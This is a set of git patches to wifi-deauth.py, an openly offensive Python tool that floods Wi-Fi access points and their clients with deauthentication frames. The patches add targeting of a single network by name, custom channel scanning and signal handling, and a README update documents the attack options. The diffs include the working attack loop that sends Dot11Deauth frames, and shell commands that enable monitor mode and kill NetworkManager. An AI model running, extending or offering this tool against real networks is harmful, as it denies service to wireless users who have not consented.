From 489e04dc08b0330b7e5b2314dbfec5923d9d9ad5 Mon Sep 17 00:00:00 2001 From: flashnuke Date: Thu, 28 Mar 2024 10:08:16 +0200 Subject: [PATCH 1/7] add custom channels and bbsid --- wifi-deauth.py | 72 ++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 67 insertions(+), 5 deletions(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index bd459a2..3b9c3fd 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -28,7 +28,7 @@ class Interceptor: - def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager): + def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels): self.interface = net_iface self._channel_sniff_timeout = 2 self._scan_intv = 0.1 @@ -61,6 +61,36 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager): self._channel_range = {channel: defaultdict(dict) for channel in self._get_channels()} self._all_ssids: Dict[BandType, Dict[str, SSID]] = {band: dict() for band in BandType} + self._custom_bssid_name: Union[str, None] = self.parse_custom_bssid_name(bssid_name) + self._custom_bssid_channels: List[int] = self.parse_custom_channels(custom_channels) + self._custom_bbsid_last_ch = 0 # to avoid overlapping + + @staticmethod + def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]: + if bssid_name is not None: + bssid_name = str(bssid_name) + if len(bssid_name) != 0: + print_error(f"Custom BSSID name cannot be an empty string") + raise Exception("Invalid BSSID name") + return bssid_name + + def parse_custom_channels(self, channel_list: Union[None, str]): + ch_list = list() + if channel_list is not None: + try: + ch_list = channel_list.split(',') + except Exception as exc: + print_error(f"Invalid custom channel input -> {channel_list}") + raise Exception("Bad custom channel input") + + if len(ch_list): + for ch in ch_list: + if ch not in self._channel_range: + print_error(f"Custom channel {ch} is not supported by the network interface") + raise Exception("Unsupported channel") + return ch_list + + def _enable_monitor_mode(self): for cmd in [f"sudo ip link set {self.interface} down", f"sudo iw {self.interface} set monitor control", @@ -76,6 +106,7 @@ def _kill_networkmanager(): print_cmd(f"Running command -> '{BOLD}{cmd}{RESET}'") return not os.system(cmd) + def _set_channel(self, ch_num): os.system(f"iw dev {self.interface} set channel {ch_num}") self._current_channel_num = ch_num @@ -90,30 +121,52 @@ def _ap_sniff_cb(self, pkt): if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): ap_mac = str(pkt.addr3) ssid = pkt[Dot11Elt].info.strip(b'\x00').decode('utf-8').strip() or ap_mac - if ap_mac == BD_MACADDR or not ssid: + if ap_mac == BD_MACADDR or not ssid or (self._custom_bbsid_name_is_set() + and ssid != self._custom_bssid_name): return pkt_ch = frequency_to_channel(pkt[RadioTap].Channel) band_type = BandType.T_50GHZ if pkt_ch > 14 else BandType.T_24GHZ if ssid not in self._all_ssids[band_type]: self._all_ssids[band_type][ssid] = SSID(ssid, ap_mac, band_type) self._all_ssids[band_type][ssid].add_channel(pkt_ch if pkt_ch in self._channel_range else self._current_channel_num) + if self._custom_bbsid_name_is_set(): + self._custom_bbsid_last_ch = self._all_ssids[band_type][ssid].channel else: self._clients_sniff_cb(pkt) # pass forward to find potential clients except Exception as exc: pass def _scan_channels_for_aps(self): + channels_to_scan = self._custom_bssid_channels or self._channel_range + print_info(f"Starting AP scan, please wait... ({len(channels_to_scan)} channels total)") + if self._custom_bbsid_name_is_set(): + print_info(f"Scanning for target BBSID -> {self._custom_bssid_name}") + try: - for idx, ch_num in enumerate(self._channel_range): + for idx, ch_num in enumerate(channels_to_scan): + if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name() \ + and self._current_channel_num - self._custom_bbsid_last_ch > 2: + # make sure sniffing doesn't stop on an overlapped channel for custom BBSIDs + return self._set_channel(ch_num) print_info(f"Scanning channel {self._current_channel_num} (left -> " - f"{len(self._channel_range) - (idx + 1)})", end="\r") + f"{len(channels_to_scan) - (idx + 1)})", end="\r") sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout) except KeyboardInterrupt: self.user_abort() finally: printf("") + def _found_custom_bssid_name(self): + for all_channel_aps in self._channel_range.values(): + for ssid_name in all_channel_aps.keys(): + if ssid_name == self._custom_bssid_name: + return True + return False + + def _custom_bbsid_name_is_set(self): + return self._custom_bssid_name is not None + def _start_initial_ap_scan(self) -> SSID: print_info(f"Starting AP scan, please wait... ({len(self._channel_range)} channels total)") @@ -142,7 +195,10 @@ def _start_initial_ap_scan(self) -> SSID: exit(0) printf(DELIM) + chosen = -1 + if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name(): + chosen = 0 while chosen not in target_map.keys(): user_input = print_input(f"Choose a target from {min(target_map.keys())} to {max(target_map.keys())}:") try: @@ -261,10 +317,16 @@ def user_abort(self): default=False, dest="skip_monitormode", required=False) parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)', action='store_true', default=False, dest="kill_networkmanager", required=False) + parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', + action='store', default=None, dest="custom_bbsid", required=False) + parser.add_argument('-c', '--channel', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)', + action='store', default=None, dest="custom_channels", required=False) pargs = parser.parse_args() invalidate_print() # after arg parsing attacker = Interceptor(net_iface=pargs.net_iface, skip_monitor_mode_setup=pargs.skip_monitormode, - kill_networkmanager=pargs.kill_networkmanager) + kill_networkmanager=pargs.kill_networkmanager, + bssid_name=custom_bbsid, + custom_channels=custom_channels) attacker.run() From f54e7d8acef671cf3eff4d76becc939ae2d2b89b Mon Sep 17 00:00:00 2001 From: flashnuke Date: Thu, 28 Mar 2024 10:22:34 +0200 Subject: [PATCH 2/7] fix argnames --- wifi-deauth.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index 3b9c3fd..7458bcd 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -327,6 +327,6 @@ def user_abort(self): attacker = Interceptor(net_iface=pargs.net_iface, skip_monitor_mode_setup=pargs.skip_monitormode, kill_networkmanager=pargs.kill_networkmanager, - bssid_name=custom_bbsid, - custom_channels=custom_channels) + bssid_name=pargs.custom_bbsid, + custom_channels=pargs.custom_channels) attacker.run() From 642052a9ef7e6f3cf8c5f34a223729ff8db9d1b7 Mon Sep 17 00:00:00 2001 From: flashnuke Date: Thu, 28 Mar 2024 11:00:48 +0200 Subject: [PATCH 3/7] fix signal handling --- wifi-deauth.py | 61 +++++++++++++++++++++++++++----------------------- 1 file changed, 33 insertions(+), 28 deletions(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index 7458bcd..8d14a95 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 import copy +import signal import logging import argparse import traceback @@ -28,6 +29,8 @@ class Interceptor: + _ABORT = False + def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels): self.interface = net_iface self._channel_sniff_timeout = 2 @@ -36,7 +39,6 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi self._printf_res_intv = 1 self._ssid_str_pad = 42 # total len 80 - self._abort = False self._current_channel_num = None self._current_channel_aps = set() @@ -69,7 +71,7 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]: if bssid_name is not None: bssid_name = str(bssid_name) - if len(bssid_name) != 0: + if len(bssid_name) == 0: print_error(f"Custom BSSID name cannot be an empty string") raise Exception("Invalid BSSID name") return bssid_name @@ -78,19 +80,20 @@ def parse_custom_channels(self, channel_list: Union[None, str]): ch_list = list() if channel_list is not None: try: - ch_list = channel_list.split(',') + ch_list = [int(ch) for ch in channel_list.split(',')] except Exception as exc: print_error(f"Invalid custom channel input -> {channel_list}") raise Exception("Bad custom channel input") if len(ch_list): + supported_channels = self._channel_range.keys() for ch in ch_list: - if ch not in self._channel_range: - print_error(f"Custom channel {ch} is not supported by the network interface") + if ch not in supported_channels: + print_error(f"Custom channel {ch} is not supported by the network interface" + f" {list(supported_channels)}") raise Exception("Unsupported channel") return ch_list - def _enable_monitor_mode(self): for cmd in [f"sudo ip link set {self.interface} down", f"sudo iw {self.interface} set monitor control", @@ -106,7 +109,6 @@ def _kill_networkmanager(): print_cmd(f"Running command -> '{BOLD}{cmd}{RESET}'") return not os.system(cmd) - def _set_channel(self, ch_num): os.system(f"iw dev {self.interface} set channel {ch_num}") self._current_channel_num = ch_num @@ -133,6 +135,8 @@ def _ap_sniff_cb(self, pkt): self._custom_bbsid_last_ch = self._all_ssids[band_type][ssid].channel else: self._clients_sniff_cb(pkt) # pass forward to find potential clients + except KeyboardInterrupt: + self.user_abort() except Exception as exc: pass @@ -151,14 +155,15 @@ def _scan_channels_for_aps(self): self._set_channel(ch_num) print_info(f"Scanning channel {self._current_channel_num} (left -> " f"{len(channels_to_scan) - (idx + 1)})", end="\r") - sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout) + sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout, + stop_filter=lambda p: Interceptor._ABORT is True) except KeyboardInterrupt: self.user_abort() finally: printf("") def _found_custom_bssid_name(self): - for all_channel_aps in self._channel_range.values(): + for all_channel_aps in self._all_ssids.values(): for ssid_name in all_channel_aps.keys(): if ssid_name == self._custom_bssid_name: return True @@ -168,10 +173,8 @@ def _custom_bbsid_name_is_set(self): return self._custom_bssid_name is not None def _start_initial_ap_scan(self) -> SSID: - print_info(f"Starting AP scan, please wait... ({len(self._channel_range)} channels total)") - self._scan_channels_for_aps() - for _, band_ssids in self._all_ssids.items(): + for band_ssids in self._all_ssids.values(): for ssid_name, ssid_obj in band_ssids.items(): self._channel_range[ssid_obj.channel][ssid_name] = copy.deepcopy(ssid_obj) @@ -191,14 +194,12 @@ def _start_initial_ap_scan(self) -> SSID: printf(f"{pref}{self._generate_ssid_str(ssid_obj.name, ssid_obj.channel, ssid_obj.mac_addr, preflen)}") if not target_map: print_error("Not APs were found, quitting...") - self._abort = True + Interceptor._ABORT = True exit(0) printf(DELIM) chosen = -1 - if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name(): - chosen = 0 while chosen not in target_map.keys(): user_input = print_input(f"Choose a target from {min(target_map.keys())} to {max(target_map.keys())}:") try: @@ -230,7 +231,7 @@ def _packet_confirms_client(pkt): def _listen_for_clients(self): print_info(f"Setting up a listener for new clients...") - sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: self._abort is True) + sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: Interceptor._ABORT is True) def _run_deauther(self): try: @@ -240,7 +241,7 @@ def _run_deauther(self): rd_frm = RadioTap() deauth_frm = Dot11Deauth(reason=7) - while not self._abort: + while not Interceptor._ABORT: self.attack_loop_count += 1 sendp(rd_frm / Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) / @@ -258,7 +259,7 @@ def _run_deauther(self): sleep(self._deauth_intv) except Exception as exc: print_error(f"Exception in deauth-loop -> {traceback.format_exc()}") - self._abort = True + Interceptor._ABORT = True exit(0) def run(self): @@ -275,7 +276,7 @@ def run(self): printf(f"{DELIM}\n") try: start = get_time() - while not self._abort: + while not Interceptor._ABORT: print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}") print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}") print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}") @@ -288,14 +289,18 @@ def run(self): print("") self.user_abort() - def user_abort(self): - self._abort = True - printf(f"{DELIM}") - print_error(f"User asked to stop, quitting...") - exit(0) - + @staticmethod + def user_abort(*args): + if not Interceptor._ABORT: + Interceptor._ABORT = True + printf(f"{DELIM}") + print_error(f"User asked to stop, quitting...") + exit(0) +# todo custom bbsid name - document "\" espa if __name__ == "__main__": + signal.signal(signal.SIGINT, Interceptor.user_abort) + printf(f"\n{BANNER}\n" f"Make sure of the following:\n" f"1. You are running as {BOLD}root{RESET}\n" @@ -317,10 +322,10 @@ def user_abort(self): default=False, dest="skip_monitormode", required=False) parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)', action='store_true', default=False, dest="kill_networkmanager", required=False) - parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', + parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', metavar="bssid_name", action='store', default=None, dest="custom_bbsid", required=False) - parser.add_argument('-c', '--channel', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)', - action='store', default=None, dest="custom_channels", required=False) + parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)', + metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False) pargs = parser.parse_args() invalidate_print() # after arg parsing From 87e8b73b6c1a4b7d34e56190eaee987e385d0a15 Mon Sep 17 00:00:00 2001 From: flashnuke Date: Thu, 28 Mar 2024 11:02:40 +0200 Subject: [PATCH 4/7] fix name --- wifi-deauth.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index 8d14a95..4ba4f87 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -65,7 +65,7 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi self._custom_bssid_name: Union[str, None] = self.parse_custom_bssid_name(bssid_name) self._custom_bssid_channels: List[int] = self.parse_custom_channels(custom_channels) - self._custom_bbsid_last_ch = 0 # to avoid overlapping + self._custom_bssid_last_ch = 0 # to avoid overlapping @staticmethod def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]: @@ -123,7 +123,7 @@ def _ap_sniff_cb(self, pkt): if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): ap_mac = str(pkt.addr3) ssid = pkt[Dot11Elt].info.strip(b'\x00').decode('utf-8').strip() or ap_mac - if ap_mac == BD_MACADDR or not ssid or (self._custom_bbsid_name_is_set() + if ap_mac == BD_MACADDR or not ssid or (self._custom_bssid_name_is_set() and ssid != self._custom_bssid_name): return pkt_ch = frequency_to_channel(pkt[RadioTap].Channel) @@ -131,8 +131,8 @@ def _ap_sniff_cb(self, pkt): if ssid not in self._all_ssids[band_type]: self._all_ssids[band_type][ssid] = SSID(ssid, ap_mac, band_type) self._all_ssids[band_type][ssid].add_channel(pkt_ch if pkt_ch in self._channel_range else self._current_channel_num) - if self._custom_bbsid_name_is_set(): - self._custom_bbsid_last_ch = self._all_ssids[band_type][ssid].channel + if self._custom_bssid_name_is_set(): + self._custom_bssid_last_ch = self._all_ssids[band_type][ssid].channel else: self._clients_sniff_cb(pkt) # pass forward to find potential clients except KeyboardInterrupt: @@ -143,14 +143,14 @@ def _ap_sniff_cb(self, pkt): def _scan_channels_for_aps(self): channels_to_scan = self._custom_bssid_channels or self._channel_range print_info(f"Starting AP scan, please wait... ({len(channels_to_scan)} channels total)") - if self._custom_bbsid_name_is_set(): - print_info(f"Scanning for target BBSID -> {self._custom_bssid_name}") + if self._custom_bssid_name_is_set(): + print_info(f"Scanning for target BSSID -> {self._custom_bssid_name}") try: for idx, ch_num in enumerate(channels_to_scan): - if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name() \ - and self._current_channel_num - self._custom_bbsid_last_ch > 2: - # make sure sniffing doesn't stop on an overlapped channel for custom BBSIDs + if self._custom_bssid_name_is_set() and self._found_custom_bssid_name() \ + and self._current_channel_num - self._custom_bssid_last_ch > 2: + # make sure sniffing doesn't stop on an overlapped channel for custom BSSIDs return self._set_channel(ch_num) print_info(f"Scanning channel {self._current_channel_num} (left -> " @@ -169,7 +169,7 @@ def _found_custom_bssid_name(self): return True return False - def _custom_bbsid_name_is_set(self): + def _custom_bssid_name_is_set(self): return self._custom_bssid_name is not None def _start_initial_ap_scan(self) -> SSID: @@ -297,7 +297,7 @@ def user_abort(*args): print_error(f"User asked to stop, quitting...") exit(0) -# todo custom bbsid name - document "\" espa +# todo custom bssid name - document "\" espa if __name__ == "__main__": signal.signal(signal.SIGINT, Interceptor.user_abort) @@ -322,8 +322,8 @@ def user_abort(*args): default=False, dest="skip_monitormode", required=False) parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)', action='store_true', default=False, dest="kill_networkmanager", required=False) - parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', metavar="bssid_name", - action='store', default=None, dest="custom_bbsid", required=False) + parser.add_argument('-b', '--bssid', help='custom BSSID name (case-sensitive)', metavar="bssid_name", + action='store', default=None, dest="custom_bssid", required=False) parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)', metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False) pargs = parser.parse_args() @@ -332,6 +332,6 @@ def user_abort(*args): attacker = Interceptor(net_iface=pargs.net_iface, skip_monitor_mode_setup=pargs.skip_monitormode, kill_networkmanager=pargs.kill_networkmanager, - bssid_name=pargs.custom_bbsid, + bssid_name=pargs.custom_bssid, custom_channels=pargs.custom_channels) attacker.run() From 38063501870ad16c7c9c456183dd584b2ca5d2eb Mon Sep 17 00:00:00 2001 From: flashnuke Date: Thu, 28 Mar 2024 11:11:44 +0200 Subject: [PATCH 5/7] remove keyb interrupt --- wifi-deauth.py | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index 4ba4f87..40fe03d 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -135,8 +135,6 @@ def _ap_sniff_cb(self, pkt): self._custom_bssid_last_ch = self._all_ssids[band_type][ssid].channel else: self._clients_sniff_cb(pkt) # pass forward to find potential clients - except KeyboardInterrupt: - self.user_abort() except Exception as exc: pass @@ -157,8 +155,6 @@ def _scan_channels_for_aps(self): f"{len(channels_to_scan) - (idx + 1)})", end="\r") sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout, stop_filter=lambda p: Interceptor._ABORT is True) - except KeyboardInterrupt: - self.user_abort() finally: printf("") @@ -274,20 +270,16 @@ def run(self): t.start() printf(f"{DELIM}\n") - try: - start = get_time() - while not Interceptor._ABORT: - print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}") - print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}") - print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}") - print_info(f"Net interface{self.interface.rjust(80 - 17, ' ')}") - print_info(f"Confirmed clients{BOLD}{str(len(self.target_ssid.clients)).rjust(80 - 21, ' ')}{RESET}") - print_info(f"Elapsed sec {BOLD}{str(get_time() - start).rjust(80 - 16, ' ')}{RESET}") - sleep(self._printf_res_intv) - clear_line(7) - except KeyboardInterrupt: - print("") - self.user_abort() + start = get_time() + while not Interceptor._ABORT: + print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}") + print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}") + print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}") + print_info(f"Net interface{self.interface.rjust(80 - 17, ' ')}") + print_info(f"Confirmed clients{BOLD}{str(len(self.target_ssid.clients)).rjust(80 - 21, ' ')}{RESET}") + print_info(f"Elapsed sec {BOLD}{str(get_time() - start).rjust(80 - 16, ' ')}{RESET}") + sleep(self._printf_res_intv) + clear_line(7) @staticmethod def user_abort(*args): From e48da60e74655b9e30ec7b493e13b352d03cc78c Mon Sep 17 00:00:00 2001 From: flashnuke <59119926+flashnuke@users.noreply.github.com> Date: Thu, 28 Mar 2024 11:27:39 +0200 Subject: [PATCH 6/7] Update README.md --- README.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f6d05ed..6abdb21 100644 --- a/README.md +++ b/README.md @@ -26,11 +26,16 @@ After the attacker chooses a target access point to attack, the program: ```bash python3 wifi-deauth.py -i ``` + ### Usage notes * `` is the name of the network interface (i.e `wlan0` or `eth0`) that supports packet injection -* Pass `--kill` (or run `sudo systemctl stop NetworkManager`) in order to kill NetworkManager service which might interfere with the attack * The initial iteration over all channels might take a minute or two (depends on how many bands the interface supports) -* Pass `--skip-monitormode` if you want to enable monitor mode manually (otherwise the program does it automatically) + +### Optional arguments +* `--bssid ` - filter for a specific BSSID (this should shorten the channel-scanning duration), beware that the name is case-sensitive and whitespaces should be passed with an escape character (i.e -> `new\ york`) +* `--channels ` - scan for specific channels only, otherwise all supported channels will be scanned +* `--kill` (or run `sudo systemctl stop NetworkManager`) - kill NetworkManager service which might interfere with the attack +* `--skip-monitormode` - enable monitor mode manually (otherwise the program does it automatically) ### Misc notes * Check `ifconfig` to find the interface nickname From 7f19e35929d4243f19eee365214fd5c821e7be09 Mon Sep 17 00:00:00 2001 From: flashnuke <59119926+flashnuke@users.noreply.github.com> Date: Thu, 28 Mar 2024 11:28:04 +0200 Subject: [PATCH 7/7] Update wifi-deauth.py --- wifi-deauth.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wifi-deauth.py b/wifi-deauth.py index 40fe03d..0d3cf28 100755 --- a/wifi-deauth.py +++ b/wifi-deauth.py @@ -289,7 +289,7 @@ def user_abort(*args): print_error(f"User asked to stop, quitting...") exit(0) -# todo custom bssid name - document "\" espa + if __name__ == "__main__": signal.signal(signal.SIGINT, Interceptor.user_abort)